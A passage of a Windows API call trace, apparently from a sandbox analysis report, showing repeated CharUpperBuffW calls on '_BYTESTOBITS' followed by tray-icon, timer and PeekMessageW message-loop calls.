(in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.629] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.630] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.630] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.630] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.630] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.630] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.302] Shell_NotifyIconW (dwMessage=0x1, lpData=0x10f395e880) returned 1 [0048.302] KillTimer (hWnd=0xa002c, uIDEvent=0x1) returned 1 [0048.302] SetTimer (hWnd=0xa002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.303] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) 